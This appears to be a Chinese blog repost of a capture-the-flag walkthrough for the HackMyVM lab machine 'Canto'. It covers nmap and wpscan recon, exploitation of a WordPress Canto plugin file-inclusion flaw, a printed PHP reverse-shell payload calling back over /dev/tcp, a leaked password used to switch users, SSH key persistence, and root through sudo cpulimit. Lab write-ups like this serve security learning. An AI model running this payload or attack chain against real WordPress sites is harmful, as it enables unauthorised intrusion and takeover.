Canto - hackmyvm

news2025/1/11 11:35:29

简介

靶机名称:Canto

难度:简单

靶场地址:https://hackmyvm.eu/machines/machine.php?vm=Canto

本地环境

虚拟机:vitual box

靶场IP(Canto):192.168.130.53

windows_IP:192.168.130.158

kali_IP:192.168.130.166

扫描

nmap起手

nmap -sT -p0- 192.168.130.53 -oA nmapscan/ports ;ports=$(grep open ./nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',');echo $ports >> nmapscan/tcp_ports;
sudo nmap -sT -sV -sC -O -p$ports 192.168.130.53/32 -oA nmapscan/detail
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-01 05:55 EDT
Nmap scan report for canto.lan (192.168.130.53)
Host is up (0.00084s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.3p1 Ubuntu 1ubuntu3.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 c6:af:18:21:fa:3f:3c:fc:9f:e4:ef:04:c9:16:cb:c7 (ECDSA)
|_  256 ba:0e:8f:0b:24:20:dc:75:b7:1b:04:a1:81:b6:6d:64 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Ubuntu))
|_http-generator: WordPress 6.5.3
|_http-server-header: Apache/2.4.57 (Ubuntu)
|_http-title: Canto
MAC Address: 08:00:27:73:D7:34 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.95 seconds

HTTP

框架是wordpress,直接wpscan先试试

wpscan --url http://192.168.130.53/ --plugins-detection aggressive -e u,ap --api-token=Vjt...
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.130.53/ [192.168.130.53]
[+] Started: Thu Aug  1 09:23:25 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.57 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.130.53/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.130.53/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.130.53/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.130.53/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

Fingerprinting the version - Time: 00:00:02 <==========> (702 / 702) 100.00% Time: 00:00:02
[i] The WordPress version could not be detected.

[+] WordPress theme in use: twentytwentyfour
 | Location: http://192.168.130.53/wp-content/themes/twentytwentyfour/
 | Last Updated: 2024-07-16T00:00:00.000Z
 | Readme: http://192.168.130.53/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.2
 | [!] Directory listing is enabled
 | Style URL: http://192.168.130.53/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: https://wordpress.org/themes/twentytwentyfour/
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://192.168.130.53/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.1'

[+] Enumerating All Plugins (via Aggressive Methods)
 Checking Known Locations - Time: 00:01:04 <=====> (106191 / 106191) 100.00% Time: 00:01:04
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] akismet
 | Location: http://192.168.130.53/wp-content/plugins/akismet/
 | Last Updated: 2024-07-10T22:16:00.000Z
 | Readme: http://192.168.130.53/wp-content/plugins/akismet/readme.txt
 | [!] The version is out of date, the latest version is 5.3.3
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://192.168.130.53/wp-content/plugins/akismet/, status: 200
 |
 | Version: 5.3.2 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://192.168.130.53/wp-content/plugins/akismet/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://192.168.130.53/wp-content/plugins/akismet/readme.txt

[+] canto
 | Location: http://192.168.130.53/wp-content/plugins/canto/
 | Last Updated: 2024-07-17T04:18:00.000Z
 | Readme: http://192.168.130.53/wp-content/plugins/canto/readme.txt
 | [!] The version is out of date, the latest version is 3.0.9
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://192.168.130.53/wp-content/plugins/canto/, status: 200
 |
 | [!] 4 vulnerabilities identified:
 |
 | [!] Title: Canto <= 3.0.8 - Unauthenticated Blind SSRF
 |     References:
 |      - https://wpscan.com/vulnerability/29c89cc9-ad9f-4086-a762-8896eba031c6
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28976
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28977
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28978
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24063
 |      - https://gist.github.com/p4nk4jv/87aebd999ce4b28063943480e95fd9e0
 |
 | [!] Title: Canto < 3.0.5 - Unauthenticated Remote File Inclusion
 |     Fixed in: 3.0.5
 |     References:
 |      - https://wpscan.com/vulnerability/9e2817c7-d4aa-4ed9-a3d7-18f3117ed810
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-3452
 |
 | [!] Title: Canto < 3.0.7 - Unauthenticated RCE
 |     Fixed in: 3.0.7
 |     References:
 |      - https://wpscan.com/vulnerability/1595af73-6f97-4bc9-9cb2-14a55daaa2d4
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25096
 |      - https://patchstack.com/database/vulnerability/canto/wordpress-canto-plugin-3-0-6-unauthenticated-remote-code-execution-rce-vulnerability
 |
 | [!] Title: Canto < 3.0.9 - Unauthenticated Remote File Inclusion
 |     Fixed in: 3.0.9
 |     References:
 |      - https://wpscan.com/vulnerability/3ea53721-bdf6-4203-b6bc-2565d6283159
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-4936
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/95a68ae0-36da-499b-a09d-4c91db8aa338
 |
 | Version: 3.0.4 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://192.168.130.53/wp-content/plugins/canto/readme.txt
 | Confirmed By: Composer File (Aggressive Detection)
 |  - http://192.168.130.53/wp-content/plugins/canto/package.json, Match: '3.0.4'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <=============> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] erik
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://192.168.130.53/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 3
 | Requests Remaining: 21

可以看到canto插件有漏洞,searchsplolit找一下

image-20240801204116194

那就没什么好说的了,直接打poc

CVE-2023-3452

https://github.com/leoanggal1/CVE-2023-3452-PoC

先准备一个反弹shell的php文件

<?php system("bash -c 'sh -i >& /dev/tcp/192.168.130.166/40000 0>&1'");?> 

然后起个监听

 rlwrap -cAr nc -lvvp 40000

最后poc打过去就好了

python3 CVE-2023-3452.py -u http://192.168.130.53 -LHOST 192.168.130.166  -s ./shell.php

image-20240801205141227

提权

备份

/var/wordpress/backups路径下找到账密备份文件

image-20240801205423946

www-data@canto:/var/wordpress/backups$ su erik
su erik
Password: th1sIsTheP3ssw0rd!

erik@canto:/var/wordpress/backups$ cd
cd
erik@canto:~$ ls
ls
notes  user.txt
erik@canto:~$ id
id
uid=1001(erik) gid=1001(erik) groups=1001(erik)

提权成功,拿到user.txt

顺手把公钥传上去维权

erik@canto:~$ ssh-keygen
ssh-keygen
Generating public/private rsa key pair.
...
erik@canto:~/.ssh$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK5sWbMpzoFOhxwVIjKUYvvMce5kR6XSmnTp7u2TlCmW kali@kali" > authorized_keys

sudo提权

sudo -l查看权限

erik@canto:/$ sudo -l
Matching Defaults entries for erik on canto:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User erik may run the following commands on canto:
    (ALL : ALL) NOPASSWD: /usr/bin/cpulimit

GTFOBINS有一键提权方案

image-20240801210131374

erik@canto:/$ sudo /usr/bin/cpulimit -l 100 -f /bin/bash
Process 3024 detected
root@canto:/# cd
root@canto:~# id
uid=0(root) gid=0(root) groups=0(root)
root@canto:~# ls
root.txt  snap

结束

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1969107.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

证书及公钥SHA256值计算方法

证书及公钥SHA256值计算方法 移除开头和结尾的标记以及所有空白字符Base64 解码进行 SHA-256 哈希运算 已有文件&#xff1a;证书&#xff08;后缀如crt&#xff09;获取网站证书方法不再赘述 以bilibili为例&#xff1a;浏览器访问&#xff1a;https://bilibili.com 查看证书 …

实验2-4-8 找出三位水仙花数

//实验2-4-8 找出三位水仙花数 //输出给定正整数M和N区间内的所有三位水仙花数 //三位水仙花数&#xff0c;即其个位、十位、百位数字的立方和等于该数本身#include<stdio.h> #include<math.h> int main(){int m,n;scanf("%d %d",&m,&n);//输入在…

Qt 的线性渐变的类QLinearGradient 学习笔记

QLinearGradient 是 Qt 中用于创建线性渐变的类&#xff0c;它允许你在控件上应用从一个颜色到另一个颜色的渐变效果。QLinearGradient 的参数用于定义渐变的方向、范围以及颜色变化。下面是 QLinearGradient 的各个主要参数及其详细解释&#xff1a;1. x1 和 y1 定义&#xff…

FFmpeg有理数相关的源码:AVRational结构体和其相关的函数分析

一、引言 有理数是整数&#xff08;正整数、0、负整数&#xff09;和分数的统称&#xff0c;是整数和分数的集合。整数也可看作是分母是1的分数。不是有理数的实数称为无理数&#xff0c;即无理数的小数部分是无限不循环的数。 AVRational是FFmpeg源码中的一个结构体&#xf…

企业邮箱如何支持免费试用?

企业邮箱如何支持免费试用&#xff1f;Zoho企业邮箱提供多种版本&#xff0c;支持免费试用&#xff0c;具备权威认证、信息安全、全球部署等特点。试用步骤包括访问官网、选择版本、输入信息、验证域名等。特色功能包括定制化界面、搜索、日程安排等。支持多种设备和操作系统。…

linux内核:文件系统的组织(超级块,索引节点,目录项,文件对象)

在虚拟文件系统中抽象了4个对象&#xff1a;超级块、索引节点、目录项和文件对象。 超级块&#xff1a;存放描述文件系统的有关信息。每个文件系统都有自己的超级块&#xff0c;不同文件系统的超级块不同。文件系统的超级块在文件系统安装时建立&#xff0c;在卸载时自动删除。…

【问题解决方案】npm install报错问题:npm ERR! - 多种解决方案,总有一种可以解决

文章目录 1.问题重述2.解决方案方案1.确认根目录正确方案2.确认文件名正确方案3. 确认node.js安装完成&#xff08;注意这个环境变量配置没有写完&#xff09;方案4 改用yarn安装&#xff08;亲测可用&#xff09; 3.延申问题解决方案问题1&#xff1a;需要低版本的node.js 写在…

【计算机毕业设计】727网上拍卖系统

&#x1f64a;作者简介&#xff1a;拥有多年开发工作经验&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。&#x1f339;赠送计算机毕业设计600个选题excel文件&#xff0c;帮助大学选题。赠送开题报告模板&#xff…

【ArcGIS+CityEngine】自行制作Lod1城市大尺度白膜数据

数据准备 50多个城市建筑矢量数据 链接&#xff1a;https://pan.baidu.com/s/1FiwTfXDwQ6tMDRACAwUZwQ 提取码&#xff1a;DYSK 数据分析 数据属性Floor&#xff0c;为建筑物楼层信息&#xff0c;据此信息下面将在CityEngine软件生成Lod1白膜数据。 软件准备 CityEngi…

MMPV+MMRV 打开物料账期

开物料账期&#xff1a;MMPV 查看物料账期&#xff1a;MMRV 可以看到当前期间和上一期间。 允许过账到上一期间&#xff1a;过账日期可以改到上一月。 物料账期只能一个月一个月的开&#xff0c;不能跨月开。最多打开两个月。 财务账期OB52

Introduction to Data Analysis with PySpark

1.DataFrame and RDDs 2.Spark Architecture 3. Data Formats and Data Sources 倘若您觉得我写的好&#xff0c;那么请您动动你的小手粉一下我&#xff0c;你的小小鼓励会带来更大的动力。Thanks.

【组合数学】【Python】【小练习】一、斯特灵近似式求阶乘

一、问题介绍 斯特灵&#xff08;Stirling&#xff09;近似式&#xff0c;是数学分析中&#xff0c;用于求阶乘近似值的一个常用公式&#xff0c;其简单的表述形式为&#xff1a; 二、Python实现 使用Python&#xff0c;循环从n1至n98&#xff0c;分别输出n的阶乘值、斯特灵公…

在 Debian Bookworm XFCE4 桌面环境中安装原生版 微信

絮絮叨叨&#xff1a; 最近在做一个POC验证&#xff0c;为了启用足够多的虚拟机集群&#xff0c;把自己办公 Debian 重装了&#xff0c;装成了XFCE4桌面环境&#xff0c;需要在这个桌面环境上安装常用的办公与会议工具&#xff0c;既满足POC验证环境所需、又不耽误办公写文档 …

超好用的图片批量处理工具,电商人都在用!你还不知道?

作为一名电商运营人或者经常和图片打交道的小伙伴&#xff0c;是不是经常被大量图片的处理工作搞得焦头烂额&#xff1f;今天我必须给大家分享一个超级实用的宝贝工具——图片批量处理神器&#xff01; 神器介绍&#x1f447; 千鹿设计助手&#xff0c;是一款轻量级、功能非常…

如何应对,AI发展带来的就业挑战和机遇?

机遇与挑战并存 AI Job Impact AI时代的就业挑战 随着AI技术的飞速发展&#xff0c;它对全球就业市场产生了深远影响。一方面&#xff0c;一些传统职位正逐渐被自动化取代&#xff1b;另一方面&#xff0c;AI也创造了大量新兴职位。面对这一变革&#xff0c;我们需积极适应&…

【Python实战因果推断】69_图因果模型4

目录 Querying a Graph in Python Querying a Graph in Python 在接下来的时刻&#xff0c;你将把这个图输入到一个Python库中&#xff0c;这将使得回答关于它的问题变得相当容易。但在你这样做之前&#xff0c;作为一项练习&#xff0c;为了更好地理解你刚刚学到的概念&#x…

(七)Appdesigner-初步入门及常用组件的使用方法说明

目录 前言 一、Appsesigner初步入门 &#xff08;一&#xff09;Appsesigner简介 &#xff08;二&#xff09;功能布局 二、常用组件 &#xff08;一&#xff09;基础知识 &#xff08;二&#xff09;实际操作 1.HTML 2.下拉框 3.切换按钮组 4.列表框 5.单选按钮组…

ShardingSphere实战(4)- 广播表和默认数据源

上篇博客&#xff0c;我们讲了 ShardingSphere实战&#xff08;3&#xff09;- 快速实现分库分表 &#xff0c;这篇博客&#xff0c;我们解决分库分表以后遗留的两个小问题。 一、广播表 1. 广播表介绍 广播表&#xff08;Broadcast Table&#xff09;是一种特殊的表类型&am…

SSM学习10:整合MyBatis、MyBatisPlus

SpringBoot整合MyBatis 与创建spring web项目类型&#xff0c;添加上相应依赖 实体类 public class Account {private int id;public int getId() {return id;}public void setId(int id) {this.id id;}public String getName() {return name;}public void setName(String …

word打印---doc转html后进行打印,window.print、print-js、vue-print-nb

提示&#xff1a;word预览方式—插件 文章目录 [TOC](文章目录) 前言一、vue-office-docx把docx转换html二、调取window.print三、print-js四、vue-print-nb总结 前言 word预览 一、vue-office-docx把docx转换html npm install vue-office-docx -S-DofficeDocx.vue <templ…